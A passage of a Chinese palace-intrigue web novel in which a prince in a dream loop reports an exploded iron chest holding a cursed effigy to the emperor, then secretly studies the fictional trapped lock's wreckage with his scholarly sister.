两人齐声行礼,声音在空旷的大殿中回荡。
昭明帝缓缓转过身。他的脸色在灯下显得有些苍白,眼窝深陷,但那双眼睛却锐利如鹰,先是在周昕阳身上停留一瞬,确认他无碍后,目光便如冰冷的刀锋般钉在冷千嶂身上。
“说吧,”昭明帝的声音不高,却带着千钧重压,直接省略了所有虚礼,“东宫那声巨响,铁箱中的东西,一五一十,给朕说清楚。”他的目光转向周昕阳,“老九,你先说,你没受伤吧?”
“回父皇,儿臣无恙,谢父皇挂心。”周昕阳语气平稳,带着恰到好处的、劫后余生般的微颤,“**确系源于那铁箱。儿臣与冷千户正督促进度,锁匠尝试使用**开锁时,不慎触动了箱内极其歹毒的机关,引发了剧烈**……”
他将自己摘得干净,将尝试的主体模糊地归为锁匠,并将**定性为意外。
昭明帝微微颔首,目光再次转向冷千嶂,带着审视与问责的意味:“冷千嶂,你是现场主事,细节!”
冷千嶂心头一紧,感受到那如有实质的帝王威压,连忙将头埋得更低,用带着后怕与请罪的口吻,将周昕阳授意下的经过详细禀报。
他重点描述了周昕阳如何指挥锁匠进行操作,**点燃、突发异响、**骤起的惊险……
随后,冷千嶂讲述了周昕阳如何临危不乱、果断下令控制现场、抢救证物,将自己失察导致险情的责任轻轻带过,却将周昕阳的镇定与果决稍加渲染。
冷千嶂将一切都归咎于箱体机关的狠毒与锁匠的不慎,并未指出**开锁的不合理……
昭明帝静静听着,手指无意识地在御案边缘轻轻敲击,发出沉闷的“笃、笃”声,每一声都敲在冷千嶂的心上。直到冷千嶂说完,他才缓缓开口,声音听不出喜怒:“箱中炸出了何物?”
这一次,是周昕阳主动接话,他脸上适当地浮现出凝重与一丝难以置信的沉痛,上前半步,躬身道:“回父皇,箱中之物……骇人听闻。”
他顿了顿,仿佛需要积蓄勇气,“除却一些寻常金铁碎片和焚烧殆尽的纸绢残灰外,竟……竟炸出了一具被铁钉贯胸的焦黑偶人!”
“偶人?”昭明帝的瞳孔骤然收缩,敲击御案的手指猛地停顿!整个养心殿的空气仿佛瞬间凝固,连烛火的跳动都为之停滞了一瞬!
萧景琰一直低垂的眼睑也猛地抬起,眼中闪过极度震惊之色!
巫蛊!
厌胜之术!
这是宫廷之中最阴毒、最犯帝王大忌的禁忌!
历朝历代,因此术而血流成河、株连九族的**数不胜数!
昭明帝的脸色以肉眼可见的速度阴沉下去
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,胸膛微微起伏,显然在极力压制着翻腾的怒火。他盯着周昕阳,一字一顿地问道:“确定?”
周昕阳重重颔首,语气沉痛却肯定:“儿臣与冷千户亲眼所见,绝不会错。那偶人虽被烧灼变形,但人形轮廓清晰,心口铁钉更是触目惊心!此外,还有少许疑似特制**残留。儿臣已命冷千户将一切证物严密看管,并详细记录在案。”
他没有添油加醋,只是陈述事实,但每一个字都像重锤,砸在昭明帝的心头。
“好……好得很!”昭明帝从牙缝里挤出几个字,声音冰冷刺骨,带着滔天的杀意,“朕的好儿子!朕的好太子!竟然在东宫行此魇镇邪术!他这是要咒谁?咒朕吗?!!”
最后一句,他几乎是低吼出来,额角青筋暴起,显然已是怒极。
帝王最忌惮的,便是这等窥伺性命、动摇国本的阴私手段!
太子的行为,已彻底触碰了他的逆鳞!
虽早有预料,但昭明帝依旧怒不可遏!!
周昕阳垂首不语,此时任何话都是多余。
冷千嶂更是屏住呼吸,恨不得将自己缩进地缝里。
昭明帝猛地吸了几口气,强行压下立刻发作的冲动,目光如电般射向萧景琰:“景琰!”
“臣在!”萧景琰立刻出列躬身。
“你立刻亲自去一趟现场!给朕仔仔细细地查!那偶人所用材质、铁钉来源、**成分!给朕一查到底!半个时辰内,朕要看到初步结果!”昭明帝的声音带着不容置疑的决绝。
“臣遵旨!”萧景琰深知此事关系多大,不敢有丝毫耽搁,立刻领命而去。
昭明帝又看向周昕阳和冷千嶂,目光复杂。他沉默了片刻,语气稍稍缓和,却依旧带着冷意:“老九,此次你受惊了,但也算临危不乱,处置得当。冷千嶂,你护卫王爷有功,但失察之责,容后追究。”
“儿臣谢父皇宽宥。”
“微臣谢陛下宽宥。”
两人齐声道。
“老九,”昭明帝的目光重新落在周昕阳身上,带着一丝探究,“依你看,此事……当如何了结?”
周昕阳心中凛然,知道这是父皇在试探他的态度,也是给他一个表态的机会。他抬起头,目光澄澈而坚定,朗声道:“父皇,铁箱藏匿此等邪物,行径骇人,天理难容!此风绝不可长!”
“儿臣以为,当以此为契机,彻查东宫,肃清余孽,揪出所有参与此事的魑魅魍魉,明正典刑,以儆效尤!如此,方可正朝纲,安社稷,亦可使幕后之人无所遁形!”
他这番话,掷地有声,既表达了对巫蛊之术的深恶痛绝,又巧妙地将调查范围限定在东宫和此事上,暗示应集中火力打击太子**,避免牵连过广,符合一个忠心为国又懂得分寸的皇子应有的立场。
昭明帝深深地看了周昕阳一眼,目光锐利,仿佛要看到他心底去。周昕阳坦然相对,眼神没有丝毫闪烁。
良久,昭明帝才缓缓开口,声音恢复了帝王的平静与深沉:“你说得对。是该好好清一清了。”他挥了挥手,“你们都退下吧。老九,你也辛苦了,回去歇着。此事,朕自有主张。”
“儿臣(微臣)告退。”周昕阳与冷千嶂行礼,缓缓退出了养心殿。
殿门在身后合上,将那片令人窒息的凝重关在了门内。
周昕阳抬头望向依旧漆黑的夜空,轻轻吐出一口浊气。第一关,算是过了。
接下来,就要看萧景琰的调查结果,以及如何利用这场**和那些证物,进一步推动棋局了。
而他的心思,早已飞回了那堆锁具残骸之上。
面圣只是插曲,破解机关锁的秘密,才是他在这场无尽梦境中,真正的目标。
“王爷,接下来,我们该怎么办?”冷千嶂小心翼翼的询问道。
“走,回去,去帮助萧大人处理证据。”
话罢,周昕阳大步离开,朝着东宫而去。
冷千嶂脸色微变,犹豫再三,最终咬牙跟上。
第91章 清点证物
夜色深沉,宫灯在夜风中摇曳,将两人的身影拉得忽长忽短。
周昕阳步履迅疾,衣袂带风,冷千嶂紧随其后,心中却是七上八下。
刚在养心殿经历了那般雷霆震怒,王爷不赶紧回府避嫌,反而要折返那是非之地,还要去帮助萧景琰处理证据?
这着实让他摸不着头脑,却又不敢多问。
重返东宫偏殿,气氛比之前更加肃杀。
殿外已被重兵层层把守,火把林立,甲胄森然,空气中弥漫着未散尽的硝烟味和一种无形的紧张感。
萧景琰带来的宸察院精锐已全面接管了现场,原先的守卫和锁匠都被隔离在远处,人人面色惶惶。
殿内,灯火通明如同白昼。
**中心区域被用白线粗略标记出来,地面上的焦黑痕迹和散落的碎屑触目惊心。
萧景琰正负手立于那堆已被初步分类、盖着白布的证物前,眉头紧锁,听着几名仵作和匠人的低声禀报。他听到脚步声,锐利的目光立刻扫向殿门。
“王爷?”萧景琰看到去而复返的周昕阳,眼中闪过一丝明显的诧异,但很快便掩饰下去,恢复了一贯的冷峻,拱手行礼,“王爷怎么回来了?陛下不是让您回府歇息吗?”他的语气带着一丝不易察觉的审视。
这位泽川王,行事总是出人意料。
周昕阳脸上适当地流露出一丝忧色和责任感,叹道:“萧大人,出了这等惊天大案,本王如何能安心歇息?况且,此箱乃父皇亲命由我督开,如今闹出这般动静,还炸出……那等邪物,我心中实在难安。想着或许能在此处,协助萧大人一二,早日查明真相,也好向父皇交代。”他言辞恳切,将一个关心案情、勇于担责的皇子形象演绎得恰到好处。
萧景琰目光微闪,心中念头急转。泽川王此举,是真心想要戴罪立功,还是另有所图?是想插手调查,还是……冲着这些证物,尤其是那堆碎锁而来?他想起冷千嶂汇报时,周昕阳似乎格外关注锁具残骸的分布。
“王爷有心了。”萧景琰语气平淡,不置可否,“此间杂乱,且有风险,王爷万金之躯,还是……”
“无妨。”周昕阳摆手打断他,径直走向那堆盖着白布的证物,目光看似随意地扫过,最终落在了专门盛放锁具和箱体残片的那几个大号锦盒上,“本王只是看看,或许能发现一些被忽略的细节。毕竟,这箱子与锁,本王接触最多。”他说话间,已自然地掀开了其中一个锦盒的盖布。
映入眼帘的,是各种扭曲、焦黑、形状各异的金属碎片,大的有巴掌大小,小的细如米粒,正是那把结构繁复的机关锁被炸毁后的残骸。
周昕阳的瞳孔不易察觉地收缩了一下,呼吸都似乎放缓了半分。他强压下立刻扑上去仔细研究的冲动,而是故作沉稳地伸出手指,轻轻拨动了几块较大的碎片,仿佛在检查它们的破损情况。
“炸得真是彻底……”他喃喃自语,语气带着恰到好处的惋惜,随即抬头看向萧景琰,“萧大人,可曾清点出这锁具原本的构件数量?或许能从残缺程度,反推**的威力和起爆点?”
萧景琰心中疑窦更甚,面上却不露分毫:“回王爷,正在清点。不过此锁结构极其复杂,又被炸得粉碎,想要完全复原,难如登天。目前仅能判断,**中心应在锁芯与箱体连接处附近,威力集中,故而锁具几乎瞬间解体。”他一边回答,一边密切注意着周昕阳的每一个细微表情和动作。
周昕阳点了点头,手指状似无意地拈起一块边缘有弧形啮合齿的残片,正是他之前特别注意到的那个齿轮的一部分。“这齿形……似乎有些特别。”他将其凑到眼前,借着灯光仔细端详,眉头微蹙,仿佛在努力回忆什么,“本王记得,之前研究此锁时,似乎在某本古籍上见过类似的机巧结构,名为逆齿连环扣,一旦顺序错误,便会触发自毁装置……”
他信口胡诌了一个名字,目光却紧紧锁定齿轮内部一个极其细微的、只有在特定破损角度下才能看到的浅槽。原来这里还有一个限位卡点……他心中狂喜,表面却不动声色。
萧景琰对机关锁并无太多研究,见周昕阳说得煞有介事,虽不全信,却也提起了几分注意:“哦?王爷还精通此道?”
“略知皮**罢了。”周昕阳谦逊一句,顺势将那块齿轮碎片小心地放回锦盒,手指又无意地拂过几片看似不起眼的簧·片和卡榫残骸,每一次触碰,都如同最精密的扫描仪,将它们的形状、厚度、断裂面等信息瞬间刻入脑海。
“萧大人,”周昕阳话锋一转,指向旁边另一个盖着白布的托盘,那是存放焦黑人偶和铁钉的地方,语气变得凝重,“此物才是关键。可有何发现?”
萧景琰的注意力被成功引开,神色也严肃起来:“暂时没有什么结果,整体焦黑,具体还要仔细鉴定。”
周昕阳点了点头,露出愤慨之色:“定要查个水落石出!此等邪术,绝不能姑息!”他一边说着,一边看似随意地在几个证物锦盒间踱步,目光扫过那些箱体碎片和绢布残灰,但眼角的余光,始终没有离开那堆锁具残骸。
趁着萧景琰转身去听取一名仵作关于人偶烧灼程度的低声汇报时,周昕阳迅速而隐蔽地用手指丈量了一块较大箱体残片上锁具安装孔的相对位置,又快速瞥了一眼几片似乎能拼合出锁具背部结构的碎片。
安装基座的角度……原来如此,锁体与箱门的联动是通过这个偏心轴……
时间一点点流逝,周昕阳就像一个最高明的窃贼,在众目睽睽之下,于方寸之间,进行着一场无声的智力掠夺。
他利用自己王爷和当事人的身份作为掩护,以关心案情为名,行研究锁具之实。
每一个看似不经意的动作,每一次看似随口的提问,都是为了更近距离、更清晰地观察那些碎片,验证他之前的猜想,拼凑出那把锁更完整的内部结构图。
冷千嶂垂手站在稍远的地方,看着周昕阳时而凝神思索,时而与萧景琰对答,心中那份怪异感越来越强。他总觉得,这位王爷的关注点,似乎始终若有若无地绕着那堆破铜
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烂铁打转。那锁……真有那么重要?
约莫过了小半个时辰,周昕阳感觉脑海中积累的信息已经接近饱和,再待下去恐引人生疑。他见萧景琰似乎已初步掌握了人偶和**的情况,便适时地露出疲惫之色,揉了揉额角。
“萧大人,”他开口道,“案情复杂,千头万绪,辛苦你了。本王在此也帮不上太多忙,反而打扰你办案。既然初步情况已明,本王就先回去了。若有何需要本王协助或印证之处,可随时来府上寻我。”
萧景琰正被各种线索搅得心烦意乱,见周昕阳主动提出离开,虽仍有疑虑,但也乐得清静,便拱手道:“王爷言重了。夜色已深,王爷请回府好生安歇,此处有下官在,定当竭尽全力,查明真相。”
“有劳萧大人。”周昕阳点了点头,最后意味深长地看了一眼那堆锁具残骸,仿佛在说“此物关系重大,请妥善保管”,然后才转身,带着冷千嶂离开了偏殿。
走出东宫,夜风一吹,周昕阳才感觉紧绷的神经稍稍放松。这一趟折返,风险不小,但收获巨大!脑海中那幅关于机关锁内部结构的拼图,又清晰、完整了许多!
许多之前百思不得其解的联动关系,在亲眼看到那些从特定角度破裂的残骸后,竟然豁然开朗!
“王爷,我们现在是回府吗?”冷千嶂低声问道。
周昕阳没有立刻回答,他抬头望向漆黑的夜空,脑海中飞速回放着刚才记下的每一个细节。齿轮的啮合方式、簧·片的弹力方向、卡榫的触发顺序、还有那新发现的限位槽……无数信息碎片在他脑中碰撞、组合、推演。
“不,”周昕阳眼中闪过一丝锐利的光芒,嘴角勾起一抹几不可察的弧度,“先去一趟……皇家藏书馆。”
“藏书馆?”冷千嶂一愣,这深更半夜的去藏书馆?
“嗯。”周昕阳语气笃定,“忽然想起一些关于机关术的记载,或许对破解此案有所帮助。需要去查证一下。”
他需要一个安静且合理的地方,尽快将刚才吸收的海量信息梳理、固化下来,并尝试进行更深入的推演。
皇家藏书馆,是个最佳的选择。
而且,这个理由也足以解释他为何深夜前往。
当然了,除此之外,他打算去求助自己的二姐周灵薇。
对方秀外慧中、智慧超群,又对皇家藏书馆的书籍摆放位置,颇为熟悉。
求助她,无疑是最好的选择。
冷千嶂虽然满腹疑窦,但不敢多问,只得应道:“是,属下护送王爷前去。”
主仆二人,身影很快消失在宫墙的阴影中,朝着藏书阁的方向而去。
而对周昕阳来说,真正的战斗,现在才真正开始——在寂静无人的藏书阁内,与那把存在于现实与梦境夹缝中的、蕴含无穷秘密的机关锁,进行一场无声的、决定命运的终极博弈。
他感觉,自己离揭开最后谜底的那道门,已经越来越近了。
只要弄懂了机关锁,下一次梦境,就能直接开启铁箱。
看见完整的东西了……
第92章 墨家机关术
夜色中的皇家藏书馆,如同一头蛰伏的巨兽,沉默地矗立在宫苑深处。飞檐斗拱在稀疏的星月之光下勾勒出森严的轮廓,与白日的庄重典雅不同,此刻更添了几分神秘与幽寂。
周昕阳手持令牌,畅通无阻地进入馆内。
冷千嶂被留在门外警戒。
馆内值夜的内侍见到泽川王深夜到来,虽感诧异,但不敢多问,恭敬行礼后便退到远处。
巨大的殿堂内,只有几盏长明灯在远处摇曳,投下微弱而斑驳的光晕。空气中弥漫着陈年书卷特有的墨香和淡淡霉味,无数高大的书架如同沉默的巨人,排列整齐,直抵穹顶,上面密密麻麻的典籍在昏暗中若隐若现,仿佛隐藏着无穷的智慧与秘密。
周昕阳没有惊动太多人,他目标明确,径直朝着记忆中收藏百家杂学、尤其是工巧器械类典籍的区域走去。
脚步声在空旷寂静的大殿中回响,显得格外清晰。
他需要尽快找一个安静的角落,将脑海中那幅因**残骸而变得更加清晰的锁具内部结构图勾勒、固化下来。
但同时,一个更重要的念头在他心中盘旋——二姐周灵薇。
这位被誉为“皇宫书库”的二皇姐,博闻强记,尤擅杂学,对藏书馆的熟悉程度无人能及。
若能得到她的指点,必定能事半功倍。
只是,深夜打扰,需要一个合适的理由。
正当他思忖间,一个轻柔却带着些许讶异的声音自一排书架后响起:
“九弟?”
周昕阳脚步一顿,循声望去。只见二公主周灵薇正从两排书架的阴影中缓步走出,手中还捧着一卷摊开的古籍。
她身着素雅的宫装,未施粉黛,青丝简单地挽起,只在鬓边簪了一支玉簪,在昏黄的灯光下,整个人宛如一幅淡墨写意的古画,清丽脱俗,眉宇间带着书卷浸润出的宁静与聪慧。
“二姐?”周昕阳脸上适时地露出惊喜与些许尴尬,“这么晚了,你怎么还在……”
周灵薇微微一笑,笑容温婉,仿佛能驱散夜的清冷:“睡不着,便来看看书。倒是你,老九,深更半夜跑来这藏书馆,可是又遇到了什么难题?”她对这个聪慧却时常显得有些不务正业的九弟颇为了解,知他若非遇到极感兴趣或棘手之事,绝不会深夜来此。
周昕阳心中一动,这正是切入话题的好机会。他脸上露出凝重与困惑交织的神色,叹了口气:“不瞒二姐,确实遇到了一件极其棘手、又令人匪夷所思的事情。”他左右看了看,压低声音,“此事关系重大,甚至……牵涉到一些鬼神难测之机。”
他刻意将话题引向玄奇,既能引起二姐的兴趣,又能为后续讨论机关锁做铺垫。
果然,周灵薇闻言,秀眉微蹙,眼中闪过一丝好奇与凝重。她合上手中的书卷,轻声道:“此处不是说话之地,随我去旁边的静室吧。”
两人来到藏书馆内侧一间专供皇室成员阅览珍本的小静室。
室内陈设简单,一桌数椅,一盏琉璃灯散发着柔和的光晕。
落座后,周昕阳没有直接提及东宫**和铁箱,而是从怀中取出一张他刚刚凭借记忆匆匆勾勒的、布满复杂线条和标注的草图,铺在桌面上。
图上画的正是那把机关锁内部核心结构的推测图,齿轮、簧·片、卡榫交错纵横,虽只是草稿,却已透出一种精妙繁复到令人头晕目眩的美感。
“二姐请看,”周昕阳指着草图,语气带着探究与苦恼,“弟近日偶得一古锁残图,结构之精奇,闻所未闻。尤其是这几处联动,”他指向图中几个关键节点,“弟百思不得其解其运作之理。听闻二姐博览群书,尤精杂学,不知可曾见过类似机巧?或可知其渊源?”
周灵薇的目光落在草图上,起初只是带着学者般的审慎与兴趣,但当她看清图上那些精细的结构、尤其是几个极其特殊的齿轮啮合方式和卡榫布局时,她的眼神微微一凝,伸出纤长的手指,轻轻
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点在其中一处。
“这……似乎是‘逆旋双鱼啮合’?”她的声音带着一丝不确定,但更多的是一种见到熟悉事物的讶异,“还有这里,这个偏心轮带动滑杆的结构,很像《墨遗杂考》中提到的‘鸢尾连环枢’的基础变种……”
周昕阳心中剧震!
他原本只是抱着一线希望,想借二姐的博学查找相关典籍,却万万没想到,二姐竟然一眼就认出了图中结构的名称和可能的来源!
而且,她提到的“墨遗杂考”、“鸢尾连环枢”这些词,他闻所未闻!
“二姐,你……你认识这些结构?”周昕阳难掩激动,声音都有些发颤。
周灵薇抬起眼,看向周昕阳,眸中闪烁着复杂的光芒,有惊讶,有探究,也有一丝不易察觉的追忆。她沉默了片刻,才轻声道:“老九,你这图……从何而来?此等机巧,绝非寻常锁匠所能为。其设计思路,暗合墨家机关术‘以巧破力,以简驭繁’的精要,尤其是这种多重保险与自毁装置一体联动的构思……”她的指尖划过图中象征**触发装置的区域,“近乎失传了。”
“墨家机关术?!”周昕阳的心脏狂跳起来!墨家机关城遗迹,他本已经派人去调查,还没有结果……却没想到此刻竟然在二姐口中得到了印证!
“二姐,你……你对墨家机关术有研究?”周昕阳迫不及待地追问,眼中充满了希冀。
周灵薇没有直接回答,而是起身,走到静室一角的一个不起眼的书架前,踮起脚尖,从最高层取下一本页面泛黄、边缘破损严重的线装古书,书皮上没有任何字样。
她将书轻轻放在桌上,推开琉璃灯,让光线更集中些。然后,她小心翼翼地翻开书页。
周昕阳凑近看去,只见书页上绘满了各种极其复杂的机械结构图,旁边配以密密麻麻的娟秀小楷注解,赫然是手工抄录的!
那些图纸的精妙程度,远比他画的草图要复杂深邃十倍、百倍!
第93章 前朝**
“这是……”周昕阳呼吸一窒。
“这是我年少时,机缘巧合之下,从一批即将被焚毁的前朝**中,偷偷抄录下来的。”周灵薇的声音很轻,带着一丝怀念与怅惘,“其中大部分,据说是残存的墨家机关术笔记和猜想,零散不全,真伪难辨。我因觉有趣,便私下研习,权当消遣。此事……从未对他人提及。”
她指向书中一页,上面绘制的齿轮组与周昕阳草图中一处关键结构竟有七分相似!
“你看,这里记载的‘九窍连环锁’的基理,与你图中此处,颇有异曲同工之妙。其核心在于,利用齿轮转动的相位差,控制不同卡榫的先后启闭顺序,错一步,则全盘皆锁,甚至……触发自毁。”
周昕阳如遭雷击,狂喜瞬间淹没了他!踏破铁鞋无觅处,得来全不费工夫!他苦苦追寻了十年、在无数梦境中碰壁的机关锁秘密,其原理竟然早已被二姐研究过!
“二姐!!”周昕阳激动地一把抓住周灵薇的手,声音因兴奋而颤抖,“这锁……这锁对我至关重要!求二姐教我!这‘九窍连环锁’,该如何解开?它的钥匙序列,或者说,正确的开启步骤是什么?”
周灵薇被他的激动吓了一跳,轻轻抽回手,摇了摇头,苦笑道:“老九,你太高看二姐了。此书所载,不过是些支离破碎的原理和残缺构想,且多是理论推演,并无完整的锁具实物图谱,更别提具体的解锁序列了。墨家机关术千变万化,即便同一原理,不同匠人制作出来,其密钥也截然不同。”
她指着周昕阳的草图,神色凝重:“更何况,你图中之锁,结构远比书中记载的‘九窍锁’更为繁复凶险,竟还嵌有如此酷烈的自毁之器。”
“设计此锁者,心思之缜密、手段之决绝,堪称鬼才。”
“没有原设计者的密钥图谱,想要凭空推演出三十六万多种组合中的唯一生路……”
她顿了顿,看着周昕阳瞬间黯淡下去的眼神,轻轻叹了口气:“……难如登天。”
希望之火骤然遇冷,但周昕阳并未完全绝望。二姐的博学和对机关术的理解,已经远远超出了他的预期!有她相助,至少有了明确的研究方向和理论依据!
“二姐,”周昕阳深吸一口气,压下心中的波澜,目光灼灼地看着周灵薇,“即便再难,弟也必须要解开此锁!这关系到一个极大的秘密,甚至……可能关系到江山社稷的安稳!”他适当拔高了事情的重要性,以争取二姐的帮助,“求二姐助我!我们一起研究,结合二姐的理论学识和弟手中的残图实物信息,未必不能找到线索!”
周灵薇凝视着周昕阳眼中那不容置疑的决绝和深藏的焦虑,沉默良久。她这个九弟,虽然时常有些跳脱不羁,但绝非无的放矢之人。他如此执着于此锁,背后定有惊天隐情。
最终,她轻轻点了点头,声音虽轻,却带着一种学者的执着与承诺:“好。既然你如此坚持,二姐便陪你一起,会一会这把‘鬼锁’。不过,此事需绝对隐秘,绝不可让第四人知晓。”
“这是自然!”周昕阳大喜过望,“多谢二姐!”
接下来的几个时辰,静室内的琉璃灯一直亮着。姐弟二人埋首于案前,一个凭借博闻强记和对墨家机关术理论的深刻理解,一个依据二次“炸箱”换来的实物结构信息和梦境中积累的直觉,不断地讨论、推演、画图、否定、再推演……
周灵薇的指点,如同在迷雾中点亮了一盏明灯。她为周昕阳解释了许多之前无法理解的联动原理,指出了几个可能的关键触发点和顺序限制。
而周昕阳提供的实物细节,又不断验证或修正着书中的理论。
当窗外天际泛起鱼肚白时,桌案上已铺满了画满各种符号和连线的草稿纸。
虽然距离完全破解那三十六万多种组合依旧遥远,但周昕阳感觉,自己已经抓住了几条至关重要的线索!
尤其是对锁具内部那几个核心保险机制的理解,达到了前所
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未有的深度!
“下一次……”周昕阳看着窗外渐亮的天色,心中涌起一股强烈的冲动,“下一次循环,我一定要说服二姐,亲自去现场看一看那把锁!不,甚至……可以尝试让她来主导开锁!”
这个念头一旦升起,便再也无法遏制。
二姐的机关术造诣,远非那些寻常锁匠可比!
若有她相助,破开此锁的希望将大大增加!
而周灵薇,虽然疲惫,但眼中也闪烁着久违的、遇到挑战时的兴奋光芒。这把锁的精妙,也激起了她作为研究者的好胜心。
“天快亮了,老九,你该回去了。”周灵薇收起桌案上的书稿,轻声提醒。
周昕阳点了点头,郑重地将那些写满推演的草稿小心收好,深深看了二姐一眼:“二姐,今日之恩,弟弟铭记在心。此事……容后再细说。”
他需要为下一次见面时,如何自然地说服二姐参与其中,做好铺垫。
离开藏书馆,晨光熹微,宫城渐渐苏醒。
周昕阳虽然一夜未眠,但精神却异常亢奋。
这一次梦境,收获远超以往!
不仅更清晰地窥见了锁具的奥秘,更找到了二姐这个强大的助力!
现实的困局依然严峻,但梦境中的破局之路,已然出现了一道璀璨的曙光。
他仿佛已经看到,在下一次循环中,与二姐联手,一举揭开那铁箱最终秘密的场景!
而这一切的关键,就在于如何将二姐周灵薇,这位深藏不露的机关术大家,巧妙地、不着痕迹地,引入到他这盘跨越现实与梦境的巨大棋局之中。
周昕阳拿出怀表,看着上面的时间,“还有时间,回东宫,开始拼合锁块,验证二姐的猜想。”
“实在不行,就把二姐请过来,让她现场来指点。”
“这一轮,哪怕没打破梦境循环也没关系,只要弄懂了原理,最多两三次,就肯定能打开第四把机关锁。”
周昕阳心潮澎湃,觉得希望就在前方。
第94章 复原第四把锁(上)
晨光熹微,宫墙轮廓在淡青色的天幕下逐渐清晰。
周昕阳辞别二姐,走出藏书馆,一夜未眠的疲惫被巨大的兴奋冲散。
冷千嶂见他出来,连忙迎上,眼中带着询问。
“回东宫。”周昕阳言简意赅,语气中带着不容置疑的决断。
冷千嶂心中一凛,不敢多问,立刻紧随其后。
重返东宫偏殿,此地依旧戒备森严,气氛凝重。萧景琰及其手下仍在忙碌地勘查现场、讯问相关人员,见到周昕阳去而复返,皆是面露诧异。
“王爷?”萧景琰迎上前,眉头微蹙,“您这是……”
周昕阳亮出“如朕亲临”的金牌,神色肃然:“萧大人,案情重大,父皇命我协查。我思前想后,觉得这**的关键,或许仍在这锁具本身。其内部机关歹毒精妙,若能拼合还原,或可找到触发**的机括线索,甚至……推断出制造者的手法渊源。这对追查幕后黑手至关重要。”
他给出的理由冠冕堂皇,将拼合锁具的目的与案件调查紧密捆绑,让人难以反驳。
萧景琰目光扫过那枚金牌,又看向周昕阳不容置疑的表情,沉吟片刻,拱手道:“王爷思虑周详。既如此,下官自当配合。只是这些残骸已登记在册,乃重要证物,王爷查看时,需有下官之人在场记录。”
“这是自然。”周昕阳点头应允,他要的就是这个名正言顺研究锁具的机会。
很快,盛放锁具和箱体残骸的几个大号锦盒被小心翼翼地抬到了偏殿一侧临时清理出的空桌上。周昕阳屏退闲杂人等,只留萧景琰指派的一名**官和冷千嶂在旁。
他深吸一口气,将脑海中与二姐推演出的结构图与眼前这堆焦黑破碎的实物一一对应。然后,他挽起袖子,亲自动手。
动作小心而精准,周昕阳凭借记忆和二姐的指点,开始从一堆狼藉中分拣零件。他先挑出那些较大的、结构相对完整的基座和框架碎片,尝试拼凑出锁具的大致轮廓。接着,是那些形状特异的齿轮、扭曲的簧·片、断裂的卡榫……
“记录,”周昕阳对**官道,“编号甲三残片,边缘有弧形啮合齿,疑是主传动齿轮一部分,与编号乙七残片缺口吻合……尝试拼接……有阻力,需逆时针微旋三度……嗯,卡入了。”
他一边动手,一边口述,看似在严谨地记录拼合过程,实则是将二姐教授的理论与实物验证相结合,并不断加深自己的理解。
冷千嶂在一旁打下手,递送工具,看着周昕阳专注的神情和娴熟的动作,心中的怪异感越来越强——王爷何时对这等匠作之事如此精通了?
时间一点点流逝,桌面上,一把残破不堪、布满裂痕和焦黑印记的锁具雏形,竟真的被周昕阳一点点拼凑出来!虽然缺失了至少三分之一的关键部件,尤其是核心的联动机构和那要命的触发装置几乎完全碎裂缺失,但大致的外壳和部分传动结构已然可见。
萧景琰中途过来查看了一次,见到那初具形态的残锁,眼中也掠过一丝惊异。这位泽川王,似乎真有些门道。
然而,拼合工作进行到最关键处,却陷入了僵局。几个核心的变速齿轮组和那精巧的、用于控制顺序的“逆齿连环扣”机构,因为零件损毁缺失过于严重,无论如何尝试,都无法复原其真正的联动关系。周昕阳反复对照脑海中的图纸和二姐的讲解,却总感觉隔着一层迷雾,有几个关键节点无法贯通。
“不行……缺得太多了。尤其是‘鸢尾连环枢’那部分的限位和反馈机制,没有实物参照,单靠理论和残片,根本想象不出其具体运作方式。”周昕阳眉头紧锁,心中焦灼。他知道,若不能彻底弄懂这个核心机制,即便下次循环重置,他依然无法保证能安全打开那把锁。冒险尝试?那三十六万多种组合的失败代价,他承受不
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起。
他停下动作,直起身,望着桌上那件残缺的“艺术品”,沉默良久。
殿内只剩下灯花偶尔爆开的轻微噼啪声。
萧景琰派来的**官和冷千嶂都屏息凝神,不敢打扰。
最终,周昕阳似乎下定了决心。他转向冷千嶂,语气平静却带着一种不容置疑的意味:“冷千户,你亲自去一趟藏书馆,请二公主过来。就说……本王在复原涉案锁具时,遇到一些极精妙的机关难题,百思不得其解,想请她前来参详一二。记住,态度要恭敬,言明是本王恳请,事关重大。”
冷千嶂瞳孔微缩,心中骇浪滔天!深夜请二公主来东宫这等刚发生**的是非之地?还是来看这堆破铜烂铁?王爷这胆子也太大了吧!但他对上周昕阳那双深邃平静、却隐含威压的眼睛,所有劝阻的话都堵在了喉咙里。
“是!属下明白!”冷千嶂硬着头皮,领命而去。
周昕阳又对那**官道:“此处暂不需记录,你先退下歇息片刻。二公主若至,需严格保密,不得外传。”
“是,王爷。”**官如蒙大赦,连忙躬身退下。
偏殿内只剩下周昕阳一人。他负手而立,凝视着残缺的锁具,心中盘算着如何说服二姐。直接坦白梦境循环?那无异于天方夜谭。只能借案情之重,以及她作为研究者对这精妙机关的好奇心来说动她。
约莫过了半个时辰,殿外传来细微的脚步声。
冷千嶂去而复返,身后跟着一身素雅宫装、披着薄氅的二公主周灵薇。她脸上带着些许倦意,但更多的是一种被突然邀请至案发现场的困惑与谨慎。
“老九,”周灵薇步入殿内,目光快速扫过四周的狼藉和严守的侍卫,最终落在周昕阳身上,语气带着探究,“究竟是何等难题,需现在将我唤来此地?”她的目光随即被桌上那件半成品的残锁吸引,美眸中闪过一丝难以掩饰的惊讶。
第95章 复原第四把锁(中)
周昕阳迎上前,脸上带着恰到好处的凝重与歉意,拱手道:“二姐,你辛苦了,弟弟实乃不得已。请看此物——”他引周灵薇走到桌前,“具体原因,弟弟我不便相告,你只需要知晓这些机关锁残骸,是从一个坚固无比的铁箱上炸下的,就行了。”
“弟已尽力拼合部分,然其中几个核心机括,精妙绝伦,远超想象,弟才疏学浅,实在无法参透。”
“想起二姐博闻强记,尤精工巧杂学,故冒昧相请,望二姐能不吝指点。”
周灵薇的注意力已经完全被那把残锁吸引。她凑近前去,也顾不上仪态,仔细端详着那些齿轮的啮合方式、卡榫的残留结构,尤其是几个她昨夜在古籍上看到过的、类似“鸢尾连环枢”基座的断裂处。
“这……这竟是实物?”她的声音带着一丝颤抖,是学者见到梦寐以求研究样本的激动,“炸毁前该是何等精妙!这纹路,这咬合……比书上画的要复杂深邃得多!”她下意识地伸出手指,轻轻拂过一处较为完整的齿轮边缘,感受着那冰冷的触感和精密的齿痕。
“二姐,”周昕阳压低声音,语气沉重,“此锁并非寻常之物,其背后牵扯极大。若能破解其核心机制,或许就能找到设计者的线索,甚至……洞悉其隐藏的秘密。这或许关系到社稷安稳。弟恳请二姐,助我一臂之力。”
